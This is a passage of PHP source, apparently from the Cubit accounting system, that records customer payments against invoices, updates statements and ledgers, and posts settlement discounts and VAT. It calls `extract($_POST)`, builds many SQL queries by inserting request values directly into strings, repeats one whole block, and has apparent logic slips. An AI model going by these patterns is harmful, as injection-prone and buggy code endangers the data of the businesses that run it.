                            custledger($cus['cusnum'], $bank_acc[$t], $sdate[$t], $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}", $paidamt[$t][$key], "c");
                            recordCT($pp, $cus['cusnum'], $inv['age'], $accdate[$t]);
                            $rinvids .= "|{$ii}";
                            $amounts .= "|{$pp}";
                            $invprds .= "|0";
                            $rages .= "|{$inv['age']}";
                            $invidsers .= " - {$inv['invnum']}";
                        } else {
                            /* pos invoices */
                            $sqls = array();
                            for ($i = 1; $i <= 12; ++$i) {
                                $sqls[] = "SELECT '{$i}' AS prd,invid,invnum,odate FROM \"{$i}\".pinvoices \n\t\t\t\t\t\t\t\t\tWHERE invid='{$ii}' AND div='" . USER_DIV . "'";
                            }
                            $sql = implode(" UNION ", $sqls);
                            $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                            if (pg_numrows($invRslt) < 1) {
                                return "<li class='err'>Invalid Invoice Number.</li>";
                            }
                            $inv = pg_fetch_array($invRslt);
                            // reduce the invoice balance
                            $sql = "UPDATE \"{$inv['prd']}\".pinvoices \n\t\t\t\t\t\t\t\tSET balance = (balance - {$pp}::numeric(13,2)) \n\t\t\t\t\t\t\t\tWHERE invid = '{$ii}' AND div = '" . USER_DIV . "'";
                            $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                            $sql = "UPDATE cubit.open_stmnt \n\t\t\t\t\t\t\t\tSET balance = (balance - {$pp}::numeric(13,2)) \n\t\t\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                            $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                            # record the payment on the statement
                            $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, amount, date, type, div, allocation_date\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}','{$inv['invnum']}', '" . ($pp - $pp * 2) . "','{$sdate[$t]}', 'Payment for Non Stock Invoice No. {$inv['invnum']}', '" . USER_DIV . "', '{$inv['odate']}'\n\t\t\t\t\t\t\t)";
                            $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                            custledger($cus['cusnum'], $bank_acc[$t], $sdate[$t], $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']}", $paidamt[$t][$key], "c");
                            recordCT($paidamt[$t][$key], $cus['cusnum'], 0, $accdate[$t]);
                            $rinvids .= "|{$invids[$t]}[{$key}]";
                            $amounts .= "|{$paidamt[$t]}[{$key}]";
                            $invprds .= "|{$inv['prd']}";
                            //$rages .= "|$inv[age]";
                            $invidsers .= " - {$inv['invnum']}";
                        }
                    }
                }
            }
            $cols = grp(m("bankid", $bankid[$t]), m("trantype", "deposit"), m("date", $sdate[$t]), m("name", "{$cus['cusname']} {$cus['surname']}"), m("descript", "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}"), m("cheqnum", $cheqnum[$t]), m("amount", $amt[$t]), m("banked", "no"), m("accinv", $dept["debtacc"]), m("cusnum", $cus["cusnum"]), m("rinvids", $rinvids), m("amounts", $amounts), m("invprds", $invprds), m("rages", $rages), m("reference", $reference[$t]), m("div", USER_DIV));
            $dbobj = new dbUpdate("cashbook", "cubit", $cols);
            $dbobj->run(DB_INSERT);
            $dbobj->free();
            /*
            $sql = "INSERT INTO cashbook(bankid, trantype, date, name, descript,
            			cheqnum, amount, banked, accinv, cusnum, rinvids, amounts,
            			invprds, rages, reference, div)
            		VALUES ('$bankid', 'deposit', '$sdate', '$cus[cusname] $cus[surname]',
            			'',
            			'$cheqnum', '$amt', 'no', '$dept[debtacc]', '$cus[cusnum]',
            			'$rinvids', '$amounts', '$invprds', '$rages', '$reference',
            			'".USER_DIV."')";
            $Rslt = db_exec ($sql) or errDie ("Unable to add bank payment to database.",SELF);
            */
            $refnum = getrefnum($accdate[$t]);
            writetrans($bank_acc[$t], $dept['debtacc'], $accdate[$t], $refnum, $amt[$t], "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}");
            db_conn('cubit');
            if ($out > 0) {
                /* START OPEN ITEMS */
                $openstmnt = new dbSelect("open_stmnt", "cubit", grp(m("where", "balance>0 AND cusnum='{$cusid[$t]}'"), m("order", "date")));
                $openstmnt->run();
                $open_out[$t] = $out[$t];
                $i = 0;
                $ox = "";
                while ($od = $openstmnt->fetch_array()) {
                    if ($open_out[$t] == 0) {
                        continue;
                    }
                    $oid = $od['id'];
                    if ($open_out[$t] >= $od['balance']) {
                        $open_amount[$t][$oid] = $od['balance'];
                        $open_out[$t] = sprint($open_out[$t] - $od['balance']);
                        $ox .= "\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><input type='hidden' size='20' name='open[{$t}][{$oid}]' value='{$oid}'>{$od['type']}</td>\n\t\t\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td>\n\t\t\t\t\t\t\t\t<td>{$od['date']}</td>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='open_amount[{$t}][{$oid}]' value='{$open_amount[$t]}[{$oid}]'>" . CUR . " {$open_amount[$t]}[{$oid}]</td>\n\t\t\t\t\t\t\t</tr>";
                        $Sl = "UPDATE cubit.open_stmnt SET balance=balance-'" . $open_amount[$t][$oid] . "' WHERE id='{$oid}'";
                        $Ri = db_exec($Sl) or errDie("Unable to update statement.");
                    } elseif ($open_out < $od['balance']) {
                        $open_amount[$t][$oid] = $open_out[$t];
                        $open_out = 0;
                        $ox .= "\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><input type='hidden' size='20' name='open[{$t}][{$oid}]' value='{$od['id']}'>{$od['type']}</td>\n\t\t\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td>\n\t\t\t\t\t\t\t\t<td>{$od['date']}</td>\n\t\t\t\t\t\t\t\t<td><input type='hidden' name='open_amount[{$t}][{$oid}]' value='{$open_amount[$t]}[{$oid}]'>" . CUR . " {$open_amount[$t]}[{$oid}]</td>\n\t\t\t\t\t\t\t</tr>";
                        $Sl = "UPDATE cubit.open_stmnt SET balance=balance-'" . $open_amount[$t][$oid] . "' WHERE id='{$oid}'";
                        $Ri = db_exec($Sl) or errDie("Unable to update statement.");
                    }
                    $i++;
                }
                if (open()) {
                    $bout[$t] = $out[$t];
                    $out[$t] = $open_out[$t];
                    if ($out > 0) {
                        $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.open_stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, amount, balance, date, \n\t\t\t\t\t\t\t\ttype, st, div\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}', '0', '-{$out[$t]}', '-{$out[$t]}', '{$sdate[$t]}', \n\t\t\t\t\t\t\t\t'Payment Received', 'n', '" . USER_DIV . "'\n\t\t\t\t\t\t\t)";
                        $stmntRslt = db_exec($sql) or errDie("Unable to Insert statement record in Cubit.", SELF);
                        //$confirm .="<tr class='bg-even'><td colspan=4><b>A general transaction will credit the client's account with ".CUR." $out </b></td></tr>";
                    }
                    $out[$t] = $bout[$t];
                } else {
                    //$confirm .="<tr class='bg-even'><td colspan=4><b>A general transaction will credit the client's account with ".CUR." $out </b></td></tr>";}
                }
            }
            if ($out[$t] > 0) {
                recordCT($out[$t], $cus['cusnum'], 0, $accdate[$t]);
                $cols = grp(m("cusnum", $cus["cusnum"]), m("invid", 0), m("amount", -$out[$t]), m("date", $sdate[$t]), m("type", "Payment Received"), m("div", USER_DIV), m("allocation_date", $accdate[$t]));
                $dbobj = new dbUpdate("stmnt", "cubit", $cols);
                $dbobj->run(DB_INSERT);
                $dbobj->free();
                custledger($cus['cusnum'], $bank_acc[$t], $sdate[$t], "PAYMENT", "Payment received.", $out[$t], "c");
            }
        }
        /* start moving invoices */
        // move invoices that are fully paid
        $sql = "SELECT * FROM cubit.invoices WHERE balance=0 AND printed = 'y' AND done = 'y' AND div = '" . USER_DIV . "'";
        $invbRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
        while ($x = pg_fetch_array($invbRslt)) {
            if (($prd = $x['prd']) == "0") {
                $prd = PRD_DB;
            }
            // move invoice
            $cols = grp(m("invid", $x["invid"]), m("invnum", $x["invnum"]), m("deptid", $x["deptid"]), m("cusnum", $x["cusnum"]), m("deptname", $x["deptname"]), m("cusacc", $x["cusacc"]), m("cusname", $x["cusname"]), m("surname", $x["surname"]), m("cusaddr", $x["cusaddr"]), m("cusvatno", $x["cusvatno"]), m("cordno", $x["cordno"]), m("ordno", $x["ordno"]), m("chrgvat", $x["chrgvat"]), m("terms", $x["terms"]), m("traddisc", $x["traddisc"]), m("salespn", $x["salespn"]), m("odate", $x["odate"]), m("delchrg", $x["delchrg"]), m("subtot", $x["subtot"]), m("vat", $x["vat"]), m("total", $x["total"]), m("age", $x["age"]), m("comm", $x["comm"]), m("discount", $x["discount"]), m("delivery", $x["delivery"]), m("docref", $x["docref"]), m("prd", $x["prd"]), m("delvat", $x["delvat"]), m("balance", 0), m("printed", "y"), m("done", "y"), m("username", USER_NAME), m("div", USER_DIV));
            $dbobj = new dbUpdate("invoices", $prd, $cols);
            $dbobj->run(DB_INSERT);
            $dbobj->free();
            // record movement
            $cols = grp(m("invtype", "inv"), m("invnum", $x["invnum"]), m("prd", $x["prd"]), m("docref", $x["docref"]), m("div", USER_DIV));
            $dbobj->setTable("movinv", "cubit");
            $dbobj->setOpt($cols);
            $dbobj->run();
            $dbobj->free();
            // move invoice items
            $inv_items = new dbSelect("inv_items", "cubit", grp(m("where", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)))));
            $inv_items->run();
            while ($xi = $inv_items->fetch_array()) {
                $xi['vatcode'] += 0;
                $xi['account'] += 0;
                $xi['del'] += 0;
                $cols = grp(m("invid", $x["invid"]), m("whid", $xi["whid"]), m("stkid", $xi["stkid"]), m("qty", $xi["qty"]), m("unitcost", $xi["unitcost"]), m("amt", $xi["amt"]), m("disc", $xi["disc"]), m("discp", $xi["discp"]), m("vatcode", $xi["vatcode"]), m("account", $xi["account"]), m("description", $xi["description"]), m("del", $xi["del"]), m("noted", $xi["noted"]), m("serno", $xi["serno"]), m("div", USER_DIV));
                $dbobj->setTable("inv_items", $prd);
                $dbobj->setOpt($cols);
                $dbobj->run();
                $dbobj->free();
            }
            /* remove invoice from cubit schema */
            $dbobj = new dbDelete("invoices", "cubit", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)));
            $dbobj->run();
            $dbobj->setTable("inv_items", "cubit");
            $dbobj->run();
        }
        /* start moving invoices */
        // move invoices that are fully paid
        $sql = "SELECT * FROM cubit.invoices WHERE balance=0 AND printed = 'y' AND done = 'y' AND div = '" . USER_DIV . "'";
        $invbRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
        while ($x = pg_fetch_array($invbRslt)) {
            if (($prd = $x['prd']) == "0") {
                $prd = PRD_DB;
            }
            // move invoice
            $cols = grp(m("invid", $x["invid"]), m("invnum", $x["invnum"]), m("deptid", $x["deptid"]), m("cusnum", $x["cusnum"]), m("deptname", $x["deptname"]), m("cusacc", $x["cusacc"]), m("cusname", $x["cusname"]), m("surname", $x["surname"]), m("cusaddr", $x["cusaddr"]), m("cusvatno", $x["cusvatno"]), m("cordno", $x["cordno"]), m("ordno", $x["ordno"]), m("chrgvat", $x["chrgvat"]), m("terms", $x["terms"]), m("traddisc", $x["traddisc"]), m("salespn", $x["salespn"]), m("odate", $x["odate"]), m("delchrg", $x["delchrg"]), m("subtot", $x["subtot"]), m("vat", $x["vat"]), m("total", $x["total"]), m("age", $x["age"]), m("comm", $x["comm"]), m("discount", $x["discount"]), m("delivery", $x["delivery"]), m("docref", $x["docref"]), m("prd", $x["prd"]), m("delvat", $x["delvat"]), m("balance", 0), m("printed", "y"), m("done", "y"), m("username", USER_NAME), m("div", USER_DIV));
            $dbobj = new dbUpdate("invoices", $prd, $cols);
            $dbobj->run(DB_INSERT);
            $dbobj->free();
            // record movement
            $cols = grp(m("invtype", "inv"), m("invnum", $x["invnum"]), m("prd", $x["prd"]), m("docref", $x["docref"]), m("div", USER_DIV));
            $dbobj->setTable("movinv", "cubit");
            $dbobj->setOpt($cols);
            $dbobj->run();
            $dbobj->free();
            // move invoice items
            $inv_items = new dbSelect("inv_items", "cubit", grp(m("where", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)))));
            $inv_items->run();
            while ($xi = $inv_items->fetch_array()) {
                $xi['vatcode'] += 0;
                $xi['account'] += 0;
                $xi['del'] += 0;
                $cols = grp(m("invid", $x["invid"]), m("whid", $xi["whid"]), m("stkid", $xi["stkid"]), m("qty", $xi["qty"]), m("unitcost", $xi["unitcost"]), m("amt", $xi["amt"]), m("disc", $xi["disc"]), m("discp", $xi["discp"]), m("vatcode", $xi["vatcode"]), m("account", $xi["account"]), m("description", $xi["description"]), m("del", $xi["del"]), m("noted", $xi["noted"]), m("serno", $xi["serno"]), m("div", USER_DIV));
                $dbobj->setTable("inv_items", $prd);
                $dbobj->setOpt($cols);
                $dbobj->run();
                $dbobj->free();
            }
            /* remove invoice from cubit schema */
            $dbobj = new dbDelete("invoices", "cubit", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)));
            $dbobj->run();
            $dbobj->setTable("inv_items", "cubit");
            $dbobj->run();
        }
        #do journal for the settlement discount here ... now ...
        if ($setamt[$t] > 0) {
            db_conn('core');
            #get settlement accid
            $get_setacc = "SELECT accid FROM accounts WHERE accname = 'Debtors Settlement Discount'";
            $run_setacc = db_exec($get_setacc) or errDie("Unable to get settlement account information");
            $setaccid = pg_fetch_result($run_setacc, 0, 0);
            #calculate the settlement vat ... and amt
            if (isset($setvat[$t]) and $setvat[$t] == 'inc') {
                db_connect();
                $get_vcode = "SELECT * FROM vatcodes WHERE id = '{$setvatcode[$t]}' LIMIT 1";
                $run_vcode = db_exec($get_vcode) or errDie("Unable to get vatcode informtion.");
                if (pg_numrows($run_vcode) < 1) {
                    return "<li class='err'>Settlement Discount VAT Code Not Set.</li>";
                }
                $vd = pg_fetch_array($run_vcode);
                #vat inc ... recalculate the amts
                $setvatamt = sprint($setamt[$t] * ($vd['vat_amount'] / (100 + $vd['vat_amount'])));
                $setamt[$t] = sprint($setamt[$t] - $setvatamt);
                $vatacc = gethook("accnum", "salesacc", "name", "VAT", "VAT");
                $svattot = sprint($setamt[$t] + $setvatamt - ($setamt[$t] + $setvatamt) * 2);
                $svatamt = sprint($setvatamt - $setvatamt * 2);
                #process the vat amt ...
                writetrans($vatacc, $dept['debtacc'], $accdate[$t], $refnum, $setvatamt, "VAT Received on Settlement Discount for Customer : {$cus['cusname']} {$cus['surname']}");
                vatr($vd['id'], $accdate[$t], "OUTPUT", $vd['code'], $refnum, "VAT for Settlement Discount for Customer : {$cus['cusname']} {$cus['surname']}", $svattot, $svatamt);
            } else {
                #no vat for set amt ... do nothing
                $setvatamt = 0;
                $svattot = 0;
                $svatamt = 0;
            }
            writetrans($setaccid, $dept['debtacc'], $accdate[$t], $refnum, sprint($setamt[$t]), "Settlement Discount For {$cus['cusname']} {$cus['surname']}");
            custledger($cus['cusnum'], $bank_acc[$t], $sdate[$t], "{$refnum}", "Payment Settlement Discount Received.", sprint($setamt[$t] + $setvatamt), "c");
            $sql = "\n\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\tcusnum, invid, amount, date, \n\t\t\t\t\ttype, div, allocation_date\n\t\t\t\t) VALUES (\n\t\t\t\t\t'{$cus['cusnum']}', '0', '" . $svattot . "', '{$sdate[$t]}', \n\t\t\t\t\t'Settlement Discount for Payment. Ref {$refnum}', '" . USER_DIV . "', '{$accdate[$t]}'\n\t\t\t\t)";
            $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
            db_connect();
            #record this paid settlement discount for reporting ...
            $settl_sql = "\n\t\t\t\tINSERT INTO settlement_cus (\n\t\t\t\t\tcustomer, amt, setamt, setvatamt, setvat, \n\t\t\t\t\tsetvatcode, tdate, sdate, refnum\n\t\t\t\t) VALUES (\n\t\t\t\t\t'{$cus['cusnum']}', '{$amt[$t]}', '{$setamt[$t]}', '{$setvatamt}', '{$setvat[$t]}', \n\t\t\t\t\t'{$setvatcode[$t]}', '{$accdate[$t]}', 'now', '{$refnum[$t]}'\n\t\t\t\t)";
            $run_settl = db_exec($settl_sql) or errDie("Unable to get debtor settlement information.");
        }
        pglib_transaction("COMMIT") or errDie("Unable to commit a database transaction.", SELF);
    }
    // status report
    $write = "\n\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t<tr>\n\t\t\t\t<th>Bank Receipt</th>\n\t\t\t</tr>\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td>Bank Receipt added to cash book.</td>\n\t\t\t</tr>\n\t\t</table>";
    $OUTPUT = "\n\t\t<center>\n\t\t<table width='90%'>\n\t\t\t<tr valign='top'>\n\t\t\t\t<td width='50%'>{$write}</td>\n\t\t\t\t<td align='center'>" . mkQuickLinks(ql("bank-pay-add.php", "Add Bank Payment"), ql("bank-recpt-add.php", "Add Bank Receipt"), ql("bank-recpt-inv.php", "Add Customer Payment"), ql("cashbook-view.php", "View Cash Book")) . "\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t</table>";
    return $OUTPUT;
}
function write($_POST)
{
    extract($_POST);
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($out, "float", 1, 40, "Invalid out amount.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    $v->isOk($amt, "float", 1, 40, "Invalid amount.");
    $v->isOk($setamt, "float", 1, 40, "Invalid Settlement Amount.");
    $v->isOk($setvat, "string", 1, 10, "Invalid Settlement VAT Option.");
    $v->isOk($setvatcode, "string", 1, 40, "Invalid Settlement VAT code");
    $v->isOk($cusid, "num", 1, 40, "Invalid customer number.");
    $v->isOk($out1, "float", 0, 40, "Invalid paid amount(current).");
    $v->isOk($out2, "float", 0, 40, "Invalid paid amount(30).");
    $v->isOk($out3, "float", 0, 40, "Invalid paid amount(60).");
    $v->isOk($out4, "float", 0, 40, "Invalid paid amount(90).");
    $v->isOk($out5, "float", 0, 40, "Invalid paid amount(120).");
    $v->isOk($overpay, "float", 1, 20, "Invalid Overpay Amount.");
    if (isset($invids)) {
        foreach ($invids as $key => $value) {
            $v->isOk($invids[$key], "num", 1, 50, "Invalid Invoice No.");
            $v->isOk($paidamt[$key], "float", 1, 40, "Invalid amount to be paid.");
            $v->isOk($stock_setamt[$key], "float", 1, 40, "Invalid Settlement Discount Amount");
        }
    }
    if ($v->isError()) {
        $confirm = $v->genErrors();
        return $confirm . confirm($_POST);
    }
    /* get bank account id of cash on hand account IF this entry is cash */
    if (($bank_acc = getbankaccid($bankid)) === false or $bankid == "0") {
        //old function didnt check if cash is selected ... if(($bank_acc = getbankaccid($bankid)) === false) {
        $sql = "SELECT accid FROM core.accounts WHERE accname='Cash on Hand'";
        $rslt = db_exec($sql);
        if (pg_num_rows($rslt) < 1) {
            if ($bankid == 0) {
                return "There is no 'Cash on Hand' account, there was one, but\n\t\t\t\t\t**s not there now, you must have deleted it, if you want\n\t\t\t\t\tto use cash functionality please create a 'Cash on Hand' account.";
            } else {
                return "Invalid bank acc.";
            }
        }
        $bank_acc = pg_fetch_result($rslt, 0);
    }
    $cus = qryCustomer($cusid, "cusnum, deptid, cusname, surname");
    $dept = qryDepartment($cus["deptid"], "debtacc");
    $refnum = getrefnum();
    pglib_transaction("BEGIN") or errDie("Unable to start a database transaction.", SELF);
    # date format
    $sdate = explode("-", $date);
    $_SESSION["global_day"] = $sdate[2];
    $_SESSION["global_month"] = $sdate[1];
    $_SESSION["global_year"] = $sdate[0];
    //	$sdate = $sdate[2]."-".$sdate[1]."-".$sdate[0];
    $sdate = "{$date_year}-{$date_month}-{$date_day}";
    $cheqnum = 0 + $cheqnum;
    $pay = "";
    $accdate = $sdate;
    //	$accdate = "$date_year-$date_month-$date_day";
    /* Paid invoices */
    $invidsers = "";
    $rinvids = "";
    $amounts = "";
    $invprds = "";
    $rages = "";
    $setamts = "";
    #get settlement accid
    $get_setacc = "SELECT accid FROM accounts WHERE accname = 'Debtors Settlement Discount'";
    $run_setacc = db_exec($get_setacc) or errDie("Unable to get settlement account information");
    $setaccid = pg_fetch_result($run_setacc, 0, 0);
    $vatacc = gethook("accnum", "salesacc", "name", "VAT", "VAT");
    $amt += $overpay;
    /* OPTION 3 : ALLOCATE TO EACH INVOICE (confirm) */
    if ($all == 2) {
        $sql = "UPDATE cubit.customers SET balance = (balance - '{$amt}'::numeric(16,2)) WHERE cusnum = '{$cus['cusnum']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        if (isset($invids)) {
            foreach ($invids as $key => $value) {
                $ii = $invids[$key];
                # some logic ...
                # because the customer account should be 0 when paid fully, we need
                # to also deduct the settlement amount ...
                $paidamt[$key] = $paidamt[$key] + $stock_setamt[$key];
                # with the amount added to the paid amount, we tract it using a new
                # seperate setamt db column
                if (!isset($itype[$key]) && !isset($ptype[$key])) {
                    $sql = "SELECT prd,invnum,odate FROM cubit.invoices WHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class='err'>Invalid Invoice Number.</li>";
                    }
                    $inv = pg_fetch_array($invRslt);
                    // reduce invoice balance
                    $sql = "\n\t\t\t\t\t\tUPDATE cubit.invoices\n\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(16,2))\n\t\t\t\t\t\tWHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "\n\t\t\t\t\t\tUPDATE cubit.open_stmnt\n\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(16,2))\n\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    # record the payment on the statement
                    $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\tamount, date, type, div, allocation_date, docref, \n\t\t\t\t\t\t\tallocation_balance\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', \n\t\t\t\t\t\t\t'" . ($paidamt[$key] - $stock_setamt[$key] - ($paidamt[$key] - $stock_setamt[$key]) * 2) . "', \n\t\t\t\t\t\t\t'{$sdate}', 'Payment for Invoice No. {$inv['invnum']}', '" . USER_DIV . "', '{$inv['odate']}', '{$reference}', \n\t\t\t\t\t\t\t'" . abs($paidamt[$key] - $stock_setamt[$key] - ($paidamt[$key] - $stock_setamt[$key]) * 2) . "'\n\t\t\t\t\t\t)";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    #record the settlement discount on the statement
                    if ($stock_setamt[$key] > 0) {
                        $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, amount, \n\t\t\t\t\t\t\t\tdate, type, \n\t\t\t\t\t\t\t\tdiv, allocation_date, docref, allocation_balance\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', '" . ($stock_setamt[$key] - $stock_setamt[$key] * 2) . "', \n\t\t\t\t\t\t\t\t'{$sdate}', 'Settlement Discount for Invoice No.{$inv['invnum']} Ref. {$refnum}', \n\t\t\t\t\t\t\t\t'" . USER_DIV . "', '{$inv['odate']}', '{$reference}', '" . abs($stock_setamt[$key] - $stock_setamt[$key] * 2) . "'\n\t\t\t\t\t\t\t)";
                        $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    }
                    #deduct setamt for records ...
                    custledger($cus['cusnum'], $bank_acc, $sdate, $inv['invnum'], "Payment for Invoice No. {$inv['invnum']}", $paidamt[$key] - $stock_setamt[$key], "c");
                    db_connect();
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    if ($inv['prd'] == "0") {
                        $inv['prd'] = PRD_DB;
                    }
                    $invprds .= "|{$inv['prd']}";
                    $rages .= "|0";
                    $invidsers .= " - {$inv['invnum']}";
                    $setamts .= "|{$stock_setamt[$key]}";
                } elseif (!isset($ptype[$key])) {
                    $sql = "\n\t\t\t\t\t\tSELECT prd,invnum,descrip,age,odate \n\t\t\t\t\t\tFROM cubit.nons_invoices \n\t\t\t\t\t\tWHERE invid ='{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class='err'>Invalid Invoice Number.</li>";
                    }
                    $inv = pg_fetch_array($invRslt);
                    // reduce the invoice balance
                    $sql = "\n\t\t\t\t\t\tUPDATE cubit.nons_invoices \n\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(16,2)) \n\t\t\t\t\t\tWHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "\n\t\t\t\t\t\tUPDATE cubit.open_stmnt \n\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(16,2)) \n\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    if (!isset($inv['odate']) or strlen($inv['odate']) < 1) {
                        $inv['odate'] = $sdate;
                    }
                    // add payment to statement
                    $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\tamount, \n\t\t\t\t\t\t\tdate, type, \n\t\t\t\t\t\t\tdiv, allocation_date, docref, allocation_balance\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', \n\t\t\t\t\t\t\t'" . ($paidamt[$key] - $stock_setamt[$key] - ($paidamt[$key] - $stock_setamt[$key]) * 2) . "', \n\t\t\t\t\t\t\t'{$sdate}', 'Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}', \n\t\t\t\t\t\t\t'" . USER_DIV . "', '{$inv['odate']}', '{$reference}', '" . abs($paidamt[$key] - $stock_setamt[$key] - ($paidamt[$key] - $stock_setamt[$key]) * 2) . "'\n\t\t\t\t\t\t)";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    #record the settlement discount on the statement
                    if ($stock_setamt[$key] > 0) {
                        $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, amount, \n\t\t\t\t\t\t\t\tdate, type, \n\t\t\t\t\t\t\t\tdiv, allocation_date, docref, allocation_balance\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', '" . ($stock_setamt[$key] - $stock_setamt[$key] * 2) . "', \n\t\t\t\t\t\t\t\t'{$sdate}', 'Settlement Discount for Invoice No.{$inv['invnum']} Ref. {$refnum}', \n\t\t\t\t\t\t\t\t'" . USER_DIV . "', '{$inv['odate']}', '{$reference}', '" . abs($stock_setamt[$key] - $stock_setamt[$key] * 2) . "'\n\t\t\t\t\t\t\t)";
                        $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    }
                    custledger($cus['cusnum'], $bank_acc, $sdate, $inv['invnum'], "Payment for Non Stock Invoice No. {$inv['invnum']} - {$inv['descrip']}", $paidamt[$key], "c");
                    db_connect();
                    //recordCT($paidamt[$key], $cus['cusnum'],$inv['age'],$accdate);
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    $invprds .= "|0";
                    $rages .= "|{$inv['age']}";
                    $invidsers .= " - {$inv['invnum']}";
                    $setamts .= "|{$stock_setamt[$key]}";
                } else {
                    /* pos invoices */
                    $sqls = array();
                    for ($i = 1; $i <= 12; ++$i) {
                        $sqls[] = "\n\t\t\t\t\t\t\tSELECT '{$i}' AS prd,invid,invnum,odate \n\t\t\t\t\t\t\tFROM \"{$i}\".pinvoices \n\t\t\t\t\t\t\tWHERE invid='{$invids[$key]}' AND div='" . USER_DIV . "'";
                    }
                    $sql = implode(" UNION ", $sqls);
                    $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                    if (pg_numrows($invRslt) < 1) {
                        return "<li class='err'>Invalid Invoice Number.</li>";
                    }
                    $inv = pg_fetch_array($invRslt);
                    // reduce the invoice balance
